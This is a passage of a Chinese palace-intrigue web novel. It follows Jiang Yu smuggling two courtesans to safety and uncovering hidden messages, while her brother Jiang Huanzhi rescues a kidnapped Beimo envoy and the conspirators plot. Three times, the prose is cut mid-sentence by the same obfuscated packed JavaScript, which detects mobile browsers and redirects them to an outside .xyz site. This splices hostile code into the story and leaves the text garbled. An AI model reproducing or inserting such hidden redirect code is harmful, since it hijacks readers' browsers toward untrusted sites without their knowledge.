江瑜回头一看,角落里竟还有一个小姑娘,人已经被玉影控制住了,正眼泪汪汪地看着自己。江瑜猜想她应该也是龟三儿手底下的,于是道:“一起带走。” 不过片刻的工夫,四人飞过水面,稳稳当当地落在了画舫的船舱里。四周船只多如繁星,等花船里的人发现有不对再开始找,她们的船早已汇入无数游船之中了。 江瑜这时候才有空向采薇姐妹二人解释,她松开桎梏的手,低声道:“我是余公子。” 采薇先是一怔,随即打量江瑜一番,总算找出了一些相似之处,她张大嘴巴:“原来余公子竟是个姑娘!” 余公子本身就温文尔雅,采薇上次就对他印象不错,再得知还是个女子,那采薇就更不怕了。她对一旁还在瑟瑟发抖的姑娘道:“香云,这位是余公……不对,余小姐,她是个好人,你不用怕。” 江瑜也柔声道:“香云,莫不就是那天在隔壁被龟三儿责罚的那位姑娘?” “是我。”香云闻言,怯怯地朝江瑜扶了扶,“香云见过余小姐。” 江瑜略点了点头,又看向采薇,问道:“龟三爷消失以后,青楼里的人有没有怀疑过什么?还有没有别的人来寻过他?” 采薇回道:“蕙娘说他好像又攀上了谁,忙着去舔人家尻呢,蕙娘说话粗俗,小姐莫怪……总之龟三爷过去也偶尔会消失几天,我们都习惯了。至于来寻他的人……也就是有几个青楼里的常客随口问了一嘴,都没细问。” 江瑜点点头,松了口气,看来龟三儿的死还没有被发现。 采薇忽而又感慨道:“真是没想到,余公子不仅是女子还会武。那今日来找我们所为何事,怎的不光明正大地走花船?” 江瑜道:“说来话长,其实……你和香云,包括琴心都一直在被龟三儿利用,他明面上行的是龟公之事,替你们与恩客搭线,实则却在勾结奸臣,替几个心怀不轨的权贵做事。” 采薇和香云都听得云里雾里,不知该从何问起,一时间都怔怔地望着江瑜。 不论是梅公子、龟三儿,亦或是其他同样在这张大网上的人,他们谁也没有将青楼女子当作过真正的人。对于他们而言,这几具肉/体是工具,是载体,实际作用与马匹和信鸽无异,龟三儿把这几个女子搬来挪去,将已经舍弃尊严的姑娘们再利用践踏一回,以身体做纽带,维系他们那不可告人的合作关系。 “实际上,正是香云那晚的琴音让我来到了这里。香云,你恐怕自己也不知道为什么第九段之后要停顿那么久吧?” 香云愣愣摇头,“的确不知,只要我没按龟三爷说的做他就会打我。” “那一日,躲在暗处的某个人一定在聚精会神地看着你,不放过你的任何一点错漏,在得到具体的时间和地点之后,密会就完成了第一步。接下来的十月初七,也就是今晚才是重头戏,你们身上一定藏着东西。” “藏着东西?”采薇连忙低下头,在身上找来找去,一旁的香云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662448|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是一样。 “不会那么容易就找到的。”江瑜顿了顿,嗫嚅道:“如果可以的话,能否请你们……脱下身上的衣物和首饰,可能会藏在衣服的针脚里、首饰的缝隙里,也可能在身体某处隐蔽的地方写了字。” 既然是重要的会面,那么办事一向尽心尽力的龟三儿一定会早早安排好。江瑜屏气凝神,期盼着即便他已经死了,证据也会被留下。 采薇和香云都没怎么忸怩地脱下衣裳,脱到一半,采薇忽然“咦”了一声,记起一事:“几天前,龟三爷说会带我去见一个重要客人,还特地买来了一件新的肚兜,说是那人的口味,让我务必要穿上。今日穿的便是那件。” 江瑜拿过那件肚兜细细查看,果然在衣襟处找到了用针线缝制的一行字,如果不是仔细看根本发觉不了。 香云想了想,也觉出一件不对劲的事来:“今日伺候我沐浴的人是小琪儿,洗得好像格外久了些。小琪儿刚进青楼不久,还没接过客。不过,她也是龟三爷的人,龟三爷会不会提前给她交待过什么?” 采薇当即把香云转过来,仔细瞧了瞧,忽然惊呼道:“在你看不见的地方,也就是背上写着一排好小的字!” …… 皇宫外的中领军衙司,暗无天日的几处牢房里分别关押着几个人……或尸首。分别是暴毙的富商、在军营里投毒的兵士和已经头身分离的北漠侍卫。 作为唯一的活人,投毒兵士已经形容癫狂,神志不清,口中不断重复着那几句话——他只想在饭食里扔几个小石子,崩崩那个与他吵过架的人的牙,他根本不知石子怎么就变成了毒,还害得一众兵士上吐下泻。 他的旁边是一团血肉模糊的东西。暴毙的富商本就死状惨状,再经过仵作的几次开膛破肚,别说全尸了,场面血腥得已经看不出一点人样。 江涣之就是在这样的环境下处理公务。他面色如常地坐在一旁阅读证词,姿态甚至称得上优雅闲适。当日在校场,阿史那图尔砍下身边亲卫的头颅后,他特地留了个心眼,将人收进了自己的衙司,还让仵作暗中验尸。 读至一处时,江涣之忽地瞳仁微缩,他看向对面的仵作,“北漠侍卫的体内当真有天仙子?” “是,”仵作躬身道:“下官从他的胃器中发现了天仙子,虽然极少,可绝对错不了!” 天仙子带有毒性,服下后会让人变得狂浪失去神智。也就是说,那日在校场,北漠侍卫险些伤人并非因为六皇子突然的异动,而是他本身就被下了药。 从阿史那图尔事后的表现来看,下药之人定不是他。那么就是大夏的人了……江涣之凝眉深思,不管那人是谁,他都在极力破坏两国之间已经休战,并正在趋于和平的关系。 那人的目的显然是再度挑起战事,或许想要从中牟利。一计不成,定会再施一计,在前来报聘的使臣那里动手脚便是最好的机会。 江涣之眸中寒光一闪,“陆山,带人去北漠使臣所在的驿馆看看。多留些人看守,食水也全都先试过了再送进去。” 陆山领命而去。京城已经入了夜,在这个看似静谧的夜晚里,许多深不见底的暗流正在交织涌动,或许很快就会爆发出惊天的祸患。 半柱香之后,陆山急急纵马返回,他跪在江涣之身前道:“将军,不好了!阿史那图尔离奇消失在了驿馆,房中有打斗痕迹。晚上用饭时还有人见过他,若是遭遇劫匪,那么人应该还没走远!” 江涣之已经整装上了马,他向一众将士吩咐道:“所有人不得声张。先将驿馆封锁,禁止任何人进出,再派人进宫禀报皇上。剩下的人随我来。” 18. 第 18 章 画舫摇曳在江河之上,船舱里的四个少女相顾无言,脸上的惊骇却久久散不去。 采薇和香云已经穿好了衣服,采薇正想说话,眼泪却先流了下来,“怎么会……这么大的事,怎么就落在我们这两个无依无靠的女子身上了?” 香云本来靠在采薇肩头,此时也抽抽搭搭地哭了起来:“我们再也回不去了是不是?我们会被斩首示众,会被处以极刑……” “不会的。”江瑜打断她的话,“事情还有回寰的余地。你们没能与提前安排好的人接上线,这个至关重要的环节断了,后面要与劫匪接应的人只会比我们更惊慌。” “小姐,花船那边似乎已经发觉二位姑娘不见了。”玉影握紧腰间的剑柄,悄声道:“有几个人正在搜寻,看上去都是练家子。” 透过帘幕的缝隙,江瑜看见那几人隐藏在船上的人群中,目光锐利地四处寻找着。岸上也有他们的人,全都紧盯着已经靠岸,或是即将靠岸的船。 丝竹管弦声依旧未停,可在场的几人心境却都大不同了。光是全身而退就已万分艰难,更何况还要把消息传递出去,这简直是不可能做到的事。 等再过几个时辰,事态恐怕就已经尘埃落定,纵是江瑜有再大的本事也无力回天了。 江瑜心乱如麻,忽地开口:“你们都会洇水吧?一定要整个身子都潜下去,不能露头被人发现。” 采薇和香云嘴唇翕动,虽然迟疑,却都说自己可以做到。江瑜见她们的神色,不禁怀疑她们是不是已经做好了打算,要以身殒命,反正都是个死,淹死总比被处以极刑来得好。 江瑜闭了闭眼,正思索起有没有更好的法子,船舱外却忽然响起一阵喧哗。 江瑜掀开帘子一角往外看去,她和玉影同时怔住,都在对方眼中看到了讶然。 江涣之怎么会来? 他云淡风轻地立于一艘船的船头,姿态挺拔,身形凛然。身后还带着几个人,阵仗并不大,脸上也带着一贯的清冷漠然。 听旁边船上的人议论道,有个老翁不小心掉到河里了,他们不认识什么禁军还是金吾卫,只知道是官府带着兵来水里找人。 江涣之气度不凡,英姿勃发地往那一站,很难让人忽略。江瑜往花船上扫了一眼,见先前那几个练家子都躲进人群里隐住了身形,看上去在按兵不动。 江瑜又看向站在船头的江涣之,看着看着,忽然觉出了不对。他之所以出现在这里,明面上是为了解救落水的老翁,嘴里也让下属搜寻河里,可他一双眼睛却尽往那些船只上瞟。 江瑜很快就看出了江涣之是醉翁之意不在酒,什么老翁落水,幌子罢了。或许……他们此刻的目标是一样的。 那要走出帘子与他相认么? 江瑜立即否定了这个想法。贸然露面只会让事态变得更加不受控制,且不说事后江涣之会不会罚她,光是这一举动就很有可能引起敌方怀疑。那头的人说不定本来还搞不清楚江涣之什么路数,她突然出现将事情摆到了明面上,那多半会一不做二不休,直接冲上来拼个你死我活。江瑜可不想让江涣之与人陷入缠斗,平白耽误时间。 船舱里放着一件披风,专门用于夜游时防风所备。江瑜眼疾手快地拿过来披在身上,戴上兜帽,将脸遮住大半,随后道:“坐稳了。” 话音刚落,她抬手往舱壁狠狠一撞,船身晃荡不止,在江面激起阵阵涟漪。这样的动静必然不会逃过江涣之的眼睛。 果然,一阵疾风掠过,帘子被风势掀开,一袭白衣的江涣之过来了。方才的匆匆一撇,让他看见里面坐着的似乎是几个女子,他自认非礼勿视,极快地垂下了眼眸。 隔着帘幕,江涣之拱手道:“冒犯姑娘了,在下误以为船下有人在挣扎求生,这才过来看看。” 江瑜平日就喜欢学那些戏班子里的人说话,这时故意放低了声音,听上去像年长了几岁。她没有与江涣之周旋打机锋,而是开门见山道:“你的推测是对的,阿史那图尔的确被人劫持着走了水路。” 江涣之悚然一惊,帘后之人究竟是谁,怎么会一眼看穿他心中所想,还恰好知道阿史那图尔出事了? “你是谁?”江涣之的第一反应竟是握住了腰间的剑柄。 “我的身份不重要。”江瑜道:“时间紧迫,速速去截住阿史那图尔的船才是当务之急。再耽搁下去刀剑可不等人。” 说罢,帘子下方忽地扔出一道纸卷,江涣之捡起来打开一看,上面详尽地记录着阿史那图尔的行船路线,禁军中内应的名字也赫然在列。 “他们打算将人先带出京城,等时机成熟就把人杀了,人头挂在城门上,以此挑衅北漠。”帘子里的声音再度传出来:“事不宜迟,快去追!” 江涣之深知此事刻不容缓,他按下心中重重疑虑,对着帘子又是一拱手,转身带着人离开了。 江涣之不是没有怀疑过消息的真假,为防中了调虎离山之计,他不忘留了批人守在原地。然而搜捕的过程变得异常顺利,璟和帝得知此事后也派出金吾卫前来支援,两方在京城外的一处河口相遇,将一艘看似正常的漕运船围堵在了中间。 漕运船原本焦急地盘旋在江面,约定的地点已经到了,前来接应的船只却迟迟未现身。漕运官心急如焚,远远看见有船过来,刚松了口气,可离得近了才发现事情有变,那压根不是来接应的! 漕运官立即让人撑船,想顺着河道往前驶去。然而一错眼的工夫,打头那人竟踩着水面,蜻蜓点水般飞身过来,就这样轻飘飘落在了自己的船上。 “奉市舶司之命查检货船,烦请打开货舱。”江涣之摆出一副公事公办的态度。 这番话让漕运官心下一沉,他满脸堆笑道:“这……没必要吧。都是些漕粮,那头催得紧,还望大人通融通融。”情急之下,他竟拿出了一锭银子。 江涣之看也没看他手里的银子,还是那句话:“打开货舱。” 漕运官的笑僵在脸上。瞬息之间,眼前忽然寒光一闪,刀刃直往江涣之心口刺来。江涣之身形灵巧地躲开,不仅不恼,反而勾起唇角,笑道:“这么快就露出狐狸尾巴了。” 原本躲在船舱里的人全都一呼百应地拿起刀枪,喊打喊杀地朝江涣之扑过来。 厮杀一触即发,江涣之手腕翻飞,手起刀落地砍下几人头颅,等后面的大部队赶过来时,整个船头都已经血流成河。 其余的人留给部下收尾,江涣之收起长剑,一脚踢开货舱的门。他随手拿起方才漕运官用过的短刀,依次刺进麻袋。 漕粮簌簌往外掉落,像是一段水流。等袋子变得瘪了,最里面的人形也露了出来。阿史那图尔涕泗横流,眼里全是惊恐,江涣之刺进来的刀刃离他的脸只有三寸。 江涣之又是一刀解开了绑在他腿上的麻绳,阿史那图尔浑身脱力,一个腿软倒在了地上,嘴里也呜咽出声。 “你杀我北漠子民十数万,没有一个北漠人不恨你。万万没想到,来救我的人也会是你。”阿史那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732701|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 图尔心中说不出什么滋味,即便有刚刚得救的轻松与狂喜,可面对江涣之他还是说不出任何感谢的话来。 江涣之手法利落地替他解开身上其它束缚,“杀你们是为保边境安宁,救你也是同理。我无意再起战事,大夏百姓也该休养生息几年了。” 阿史那图尔先是一愣,随即竟大笑了起来:“阎罗居然也有不想杀人的一天,等我回了北漠,讲给别人听定要让他们笑掉大牙了。” 江涣之将跌坐在地的阿史那图尔一把提起来,“阎罗将军可不会服侍人,你要么自己走,要么就老实点。” 阿史那图尔止住笑,他被扶着走出货舱,不禁问道:“抓我的人是谁,你又是如何寻到这里的?” “抓你的人还在查。”江涣之道:“驿馆外面的车辙和足印都消失得很蹊跷,我想过劫匪带着你一路用轻功逃跑,可考虑到你那高大的体型,我认为还是走水路更合理。至于后来……” 江涣之又想起那个给他提供线索的神秘女子,她出现得那样及时,仿佛专门在那等他似的。她还那么神通广大,说句犹如神降也不为过。 江涣之把阿史那图尔交给陆山,不作停留地折返回了永定河。放眼望去,到处都是游船画舫,外形都极为相似,叫人难以分辨。 他叫来一名副将,“方才那艘画舫呢?” 副将深知江涣之问的不是船,而是船上的人。他回禀道:“传信的烟火一放,我们知道事成了,便不再盯着那艘船。人……应当已经离去了。” “离去了?”江涣之神色微变。 副将低下头,不敢再开口。见他那胆战心惊的模样,江涣之摆了摆手道:“罢了,你下去吧。” 江涣之独自伫立在江河边,有些失神。此时再一回想,女子的声音总让他觉得耳熟,他可以确定是之前就见过甚至认识的人。 江涣之相识的女子并不多,基本都是朝中同僚的妻女。然而对于家教森严的闺阁女子来说,这么晚了还在外面坐游船其实很不合乎情理。她只带了三个丫鬟,但从先前船身的晃动来看,里面至少有一个人是会武的。 结合这几点来看,江涣之心中浮现出一个人——孟将军的长女,孟昭宛。 他对这个人不算熟悉,不过是在与孟将军的相交中见过几次,印象也不深。只隐约记得她喜爱舞刀弄枪,家风也很开明。 会是她吗,江涣之依旧不能完全肯定。他决心把这些杂事都暂且抛开,一路打马回了江府。 言午看见他时很有些惊讶,走来牵过缰绳道:“还以为将军今日不回来了。” “明日一早再进宫复命。”江涣之正要往里走,忽然看见停在门口的马车,“二小姐晚上出府了?” “是下午出的府。”言午回道。 “她去哪里,做什么了?” “徐府递的帖子过来,邀二小姐过去。就是中秋去孟府看戏那回,二小姐就与徐家小姐交好了。”言午回想道:“到了徐府,二位小姐先是在花园坐了坐,后来进了房。对了,六皇子也来了,为校场那日的事来给小姐们赔礼。后来六皇子走了,二位小姐就又进了屋,晚饭也在房里用的。” “她们在房里做什么?” “这属下就不知了,要不要叫玉影过来问问?” 江涣之刚想应允,可转念一想,江瑜早就将玉影当作自己的贴身丫鬟了,他这样将人叫过来盘问,恐怕会惹得她不高兴。 “算了,我去瑜园看看。”江涣之道。 19. 第 19 章 江瑜躺在床上,还有些惊魂未定。江涣之不仅信了她的话,还当机立断地出了手。对方的计划被破坏,那些原本在搜寻采薇和香云的人一时乱了阵脚,她便看准时机带着人逃了出来。 江瑜的心怦怦直跳,既有初战告捷的欣喜,也为掩藏身份与江涣之“暗度陈仓”而感到刺激。 她从未想过还能以这样的方式出现在江涣之面前,而这天晚上的江涣之也与她平时所看见的全然不同,他不是以一个拯救者或是长辈的身份出现。帘子被风吹得掀起的那一刻,江瑜看见他脸上的冷硬,充满了戒备与倨傲。剑出鞘的那道短促声音也没逃过江瑜的耳朵,可她不仅不害怕,反而很喜欢与这样的江涣之交锋。 正胡思乱想着,江涣之进门的脚步声传了过来。江瑜莫名一阵心虚,像是担心来自江水的气息会暴露行踪,她脑袋一缩,往被褥里钻了钻。 江涣之极有分寸地站在珠帘外便不再往里走了,江瑜试探地叫了一声:“哥哥?” 江涣之声音极低地“嗯”了一声,随即说了句什么,隔得太远,江瑜没听见。 “哥哥,你进来说话,在外面我听不见。” 江涣之略一沉吟,随即掀开珠帘走了进去。屋子里有些暗,床帐还没放下,江瑜斜倚在床头,只露了个脑袋出来。 “我问你怎么还没睡?”江涣之见她裹得严严实实,不禁多问了一句:“是不是着了凉?” “没有,”江瑜摇头道:“近些日子天凉了,尤其是夜里。” 江瑜自动忽略了第一个问题,江涣之便也不问了。他眉目柔和,江瑜抬头看了他一会儿,状若无意地问:“是不是出了什么事?” “没什么,我就是过来看看你。”江涣之踱着步走到窗前,望着高悬的月亮,缓缓开口:“听言午说,你今日去徐府玩了?” “是啊,徐绫年岁与我差不多,人也很直率大方,我喜欢与她在一处。”江瑜说着说着像忽然意识到了什么,“莫非徐绫的爹,也就是吏部尚书与哥哥有嫌隙?那我还是不要再和她……” “无妨,你可以继续和她来往。”江涣之道,江瑜能做些符合年纪的事,结交几个至交好友,这是他再希望不过的。“那……你们今日都做了些什么?” “坐在一起说话、吃茶点,还绣了些花样子。”江瑜微叹道:“可惜今日没绣完,所以就没带回来,下次还得去呢。” 说完,她怯怯地看了江涣之一眼,小心翼翼地问:“我下次还能去吧?” 见江瑜这样,江涣之忽地有些后悔了,他不该深夜过来,还对她刨根问底。江瑜聪慧敏感,此时还不知起了多少心思。 “当然可以。”江涣之俯下身,替江瑜掖了掖被角,“你冬日不喜炭火,我明日便叫人多抬几床被子进来。” 江涣之的骤然逼近,让江瑜屏住了呼吸。他大概刚杀过人,可身上一点血腥味也没有,只有衣物的淡淡熏香,隔得很近才能闻到。 江瑜一时怔忪,等到江涣之已经离去了她才回过神来。 江涣之沐浴之后换了身衣裳,只在书房里阖了会儿眼,天还未亮就打马进了宫。 昨夜出了那么大的事,璟和帝也几乎一夜未眠,议事殿的龙椅上,年迈的皇帝揉着额角,看上去愈加苍老了。 江涣之注意到这次廷议太子也在,璟和帝或许有意要让储君参与政事,便于日后将权柄交出去。只不过一向与太子形影不离的三皇子却不见了踪影。 “老三到封地了么?”廷议一开始,璟和帝竟问了句不相干的。 “回陛下,三殿下已经抵达封地。”内侍躬身上前道:“一切安稳。” 璟和帝应了一声,将审理之事交给了太子。 与史书上大多数皇帝不同,璟和帝年老之后不仅不忌惮自己的儿子,反而展现出不同于往日的慈爱,似乎开始依恋起他们来了。这或许跟璟和帝子嗣并不多有关。 太子坐在殿中,细细查问起来,第一个被问到的就是江涣之。 江涣之粗略交待了一遍事情经过,他有意将画舫上的神秘女子隐去了,只说自己及部下在路上发现了线索,一路追查到水路,顺理成章地发现了那艘可疑的漕运船。 听完他的话,是个人都能明白,始作俑者此举无非是想将两国局势搅乱,意欲再度挑起战事。 报聘这个环节尤为敏感。北漠降归降,血性还是有的,若是连前来出使的可汗亲舅舅都被屠戮示众,民怨沸腾之下,定会出兵与大夏来个鱼死网破。 那么谁最能从战事中获利,谁就最有动机。 若不是江涣之及时出马救回了阿史那图尔,那他无疑会是最值得怀疑的对象——手握重权的武将怎会甘心被囿于京城?肩上多一道军功,那升迁路上也就多一个筹码。江涣之已经官至二品,再升下去就该位极人臣,封侯称王了。更遑论他与北漠皇族还有私怨。 江涣之很快想到了这一层。若是事成,既达成了再起战事的目的,也往他身上泼了脏水。这招可谓是一石二鸟。 即使最后棋差一着,可这又何尝不是为他调查裴家一事的警告?换一个人或许会心生惧意,可江涣之反而像一头终于闻到血腥味的猛兽一样兴奋,只要对方还在出招,那就不怕露不出马脚。 书吏将写好的证词交给太子,太子检查过之后让所在的各部堂官依次传阅。此事非同小可,要尽快查出幕后主使,报聘的议程也要加快,争取提早将阿史那图尔送回北漠,免得夜长梦多。 众臣领命而去,各自退出议事殿。 江涣之默不作声地观察着众人的反应与神情,却看不出任何端倪,每个人都像戴着一层人皮面具似的。刚走出宫门,陆山迎上前道:“主子,那艘漕运船查过了,没有问题。” 江涣之对此并不意外,他缓缓道:“去查昨天夜里哪位官家的小姐去永定河坐画舫了。” …… 京城内一处幽静的宅子里,一层又一层的纱帐交错掩映在曲径通幽的回廊间,任是武功再高强的人也无法掩藏住身形。竹林旁,身姿娉婷的侍女正在倒茶。这些服侍的下人都患有聋哑之疾,待茶水斟满,手上戴有玉扳指的男子打了个手势,侍女见状徐徐退出。 对面坐着的是刑部尚书梁行章,到了这个时候,他总算维持不住表面的平静,恨声道:“那江涣之实在手眼通天,叫人防不胜防啊……” 男子无意识地转动起手上的玉扳指,脸上看不出什么情绪,“你不该在他的军营里动手脚,这步棋走岔了。” “不,他绝不可能经由此事查到我的头上。”梁行章冥思苦想许久,却怎么也想不通其中关窍,“阅兵那日,偏偏还是让那江涣之出尽了风头。云州的二十万大军,怕是早就改姓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15734850|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江了!” 男子依旧不动声色,只叹道:“江涣之十五岁那年,本有机会让兵权旁落,可惜小看了他。” 那时正值江涣之的父亲命陨战场,连个全尸都没留下。江涣之小小年纪请命做主帅,最后主帅是做成了,可要打的却不是西南,而是北漠。 大军浩浩荡荡地向北行进了快一年。战场一南一北,相差巨大,大军常年驻守南方,对寒冷气候极难适应。对于将领来说同样如此,如何行军、怎么扎营、河水什么时候会结冰,这些都是治军和制定战术时要面临的难题。 大军给了他江涣之又如何,一个十五岁的少年能在那严寒的不毛之地翻出什么浪来?可以说,那时候的满朝文武都在看笑话,等着江涣之把军队搞成一盘散沙,那么他们就能顺理成章地站出来,安排自己的人上位。 然而令所有人失望的是,江涣之不仅吃下了这支庞大的军队,还不断地收编精进,逐渐将其变成了一支战无不胜的精兵强将。江家军从南方迁移到北方边疆,不但没有水土不服,反而愈发骁勇,江涣之在朝中的地位也越来越稳固。 “他如今留在京城,我们做起事来只会处处掣肘。战事一停,粮草辎重也都跟着停了,梅公子那边不好交待。”梁行章道,他恨不得安排几个刺客,将那江涣之斩于刀下,以此永绝后患。”他叹道:“人一走,我们总有下手的机会。可眼下被他抓着了错漏,再出手怕是不好办了。” “这时候或许该考虑的不只是一个江涣之了。”对面男子眉目深锁,语气肃然:“根据手下的回禀,京城里似乎还有另一股势力在与我们作对。可以肯定不是江涣之,龟三儿失踪那晚他人在军营。” 梁行章诧异地张了张嘴,讳莫如深道:“莫非是太子一方?” “目前还无法下定论,只知那人手段了得,出手狠厉,大概已经在朝中各处安插了不少人。你平日行事要多加小心。”男子每回深思时都会不自觉转动扳指,他喃喃自语道:“会是谁呢……” 梁行章见男子兀自陷入思索,本想离去,可忽地想起一事,又折返道:“还有件琐事让我总是记挂。关于江涣之那刚找回来的妹妹,我怀疑那人身份有异。” 男子原本阖着眼,此时掀开一道眼帘,“怎么说?” “那人有些蹊跷,年岁恰好与裴家长女相仿,赵家公子也对她青睐有加,我怀疑她会不会与裴家有什么关系?” “尸首被拖出来那天,你我可是亲眼所见,裴府上下,无一生还。况且江涣之当时人在云州,那么多人都能证明,他还能有通天遁地的本事不成?”男子开口时发白的胡须也跟着颤动,“金陵那边收留她的养父母查过了没有?” “查过了,”梁行章道:“回来的人说,找到了收养她的父母,也证实了确有其事。” “那你还有什么怀疑的?” “我就是觉得太巧了。”梁行章咂摸着道:“只不过闺房女子的名讳一般不示众,无从得知这两人的具体姓名,江府也戒备森严,让人无从查起。” “江涣之为人谨慎,若是那女子身份有异,那他绝不会那般高调地把人带回来。你啊,就是做了亏心事,心里有鬼,才会如此杯弓蛇影。再沉不住气,反倒自乱阵脚。” 听闻此话,梁行章也觉得是自己思虑太过,他轻笑道:“左不过只是个女子,不足为惧。” 20. 第 20 章 第二天,江瑜还是以去找徐绫为由出了门。 到达徐府,两个女孩挽着手笑嘻嘻地走进内院,等房门一关,江瑜就会悄悄从后门出去。就像一只被放出牢笼的鸟儿,江瑜可以尽情地去做她想做的事了。 江瑜戴上惟帽,最先去的是一处隐秘的客栈。她前一晚将采薇和香云安顿在了这里。 上了二楼,按照先前约定的暗号,江瑜叩了四下门。房内的人本就警醒着,一听这声响,立即走过来打开了门。 江瑜身边还站了一个人,她笑着道:“看看我把谁带来了?” 采薇和香云俱是怔住,眼中也顷刻间噙满了泪水。江瑜推了一把同样怔愣的琴心,温声道:“去吧。” 三姐妹骤然团聚,过了最初的不可置信后,她们抱在一起,一会儿哭,一会儿笑,不敢眨眼地互相瞧着,像是从来没遇到过这么好的事一般。 等三人心绪稍缓,江瑜才开口道:“你们这几日就住在客栈,我会派人保护你们。吃住都不用担心,我付过钱了。” 三人互相看了看,最后还是采薇站出来道:“余小姐,多谢你愿意收留和照顾我们。可如今蕙娘一定在满城寻我们,既然你不愿让我们再回青楼,那何不出面将我们的卖身契赎回来?” “这几日还不行。”江瑜自然考虑过要为她们赎身,只不过在这个节骨眼上,寻她们的恐怕除了蕙娘还有梅公子的人,她们的处境只会十分危险。 江瑜道:“我已经不太方便再用余公子的身份出面了。不过我之后会另想法子,等别的事情解决了就会为你们赎身。” 安顿好这头,江瑜让玉影去打听漕运船的后续消息,她自己则回了徐府。同徐绫一起在桌上挑挑拣拣,江瑜还记着前一日江涣之说的那些话,心里想着要给他绣个香囊。 到了晚上,江瑜该回府了,她的香囊也绣好了。 来了江家已有许久,江瑜也习惯了江夫人常年礼佛所用的线香气味。她往香囊里塞了许多安神的香料和草药,直到塞不下了才罢手。 来到前院书房,江瑜站在门口张望许久,见江涣之专注于公务,一时不敢进去打扰。 后来还是江涣之看见了她,招了招手道:“过来。” 江瑜故意背着手走进去,到江涣之身前了才把手里的香囊拿出来,往前送了送:“这是我绣的,送给你。” 等看清了江瑜手里的东西,江涣之噗嗤一笑,哭笑不得地道:“你啊,怎么做什么都贪心。一个小小的香囊也要塞那么满,你是不是嫌我的剑还不够重?” 江涣之小心地解开绳结,把里面的茱萸和菖蒲拿出来一些,再抚平香囊,总算得以看清上面绣着的图案——那是一道奔流不息的江水,波澜壮阔。按理说如此湍急的水流中应是看不见鱼的,江瑜却偏偏在里面画了许多小鱼,鳞片在太阳的照射下发出光芒,很怡然自得的样子。 江水是江涣之,里面游弋的小鱼自然就是江瑜了。江瑜绣工不错,这幅图案被她勾勒得栩栩如生。见江涣之极其认真地凝视着,她有些不好意思地道:“果然还是少装些更好看。” 以前都是江涣之怕江瑜无聊,在边境给她搜罗来许多稀奇玩意。说起送礼,这还是江瑜第一次正儿八经地给他准备。江涣之越看越喜欢,站起身道:“来,给我挂上。” 江涣之腰间的蹀躞上只有佩剑和兵符,江瑜郑重地把香囊挂上去,将有图案的一面放在外面。正系着结,头顶上方忽地传来江涣之的声音:“北漠使臣这两日便要走了。” 江瑜抬起脸:“这么快?” 骤然抬头,江瑜才发现两人的距离原来这么近。她差点撞到江涣之的下巴,喉结在眼前清晰地滚动一下,突如其来的男子气息让江瑜有一瞬恍神,她下意识往后退去,却忘了手里还握着江涣之的腰带,一勾一带之间,江瑜猝不及防地往后仰去。 感受到后背多出来的温热,最后还是江涣之用宽大的手掌托住了她。江瑜稳住身形,不敢再抬头,手里动作愈发快了。 “北漠人一日不走,有心之人就一日不会罢休。他们想要破坏这来之不易的休战。”江涣之的嗓音有些低哑,“如今阿史那图尔也担心自己会小命不保,双方达成共识,各退一步,也就没什么好谈的了。” 江瑜已经替他挂好了香囊,她后退一步,若有所思地道:“哥哥,这世间为什么会有人希望有战事?不是为了扩张领土或是宣扬国威,单纯就是为了战争本身。身为当权者,难道不应该以百姓安居乐业为己任?” 江瑜才刚回到京城不久,却已经对朝堂、对这个世道充满了失望与不解。这与她从书里看到的不一样,也与她爹自小教导过的那些截然相反,莫非这世上当真就如此黑白不分,是非颠倒? “之所以要搅浑这池水,无非还是要从中谋利。每年花在军费上的花销何其巨大,是个从中敛财的好路子。” 江瑜蹙起眉,她想起了父亲死后的罪名,其中也有一条是挪用赈灾款。时移世易,可很多事好像依旧还是离不开一个“钱”字。 她追问道:“你认为他们只是想从中敛财?甚至连权势也不为,只单单为了钱财?这些人当真是无恶不作,胆大包天。那会不会……这就是谋害裴家的幕后主使?” 江涣之好整以暇地看着江瑜,他坐回书案前,拿起狼毫,走笔游龙地写下一个字。 “我也是不久前才想通了这一点。火烧裴家,巧立罪名,在军营和比试的人身上动手脚,妄图破坏报聘,陷害于我……这桩桩件件,全都离不开这个字。” 纸上赫然是一个“梅”字,江瑜倒吸了口凉气:“你的意思是,这些事情全都是梅公子做的?” 江涣之不置可否,只是道:“至少可以先从一件事入手。那日在校场比武,有人在阿史那图尔的亲卫身体里下毒,让人癫狂的毒。” “你查出是谁了?” “还没有,”江涣之沉吟道:“不过陛下的确早就有意让两国之间各派人出来比武,提前知晓此事的人并不多。很快就能查出来。” 江瑜不由自主地就挂上了讨好的笑,“那哥哥……查出来了能不能告诉我一声?” 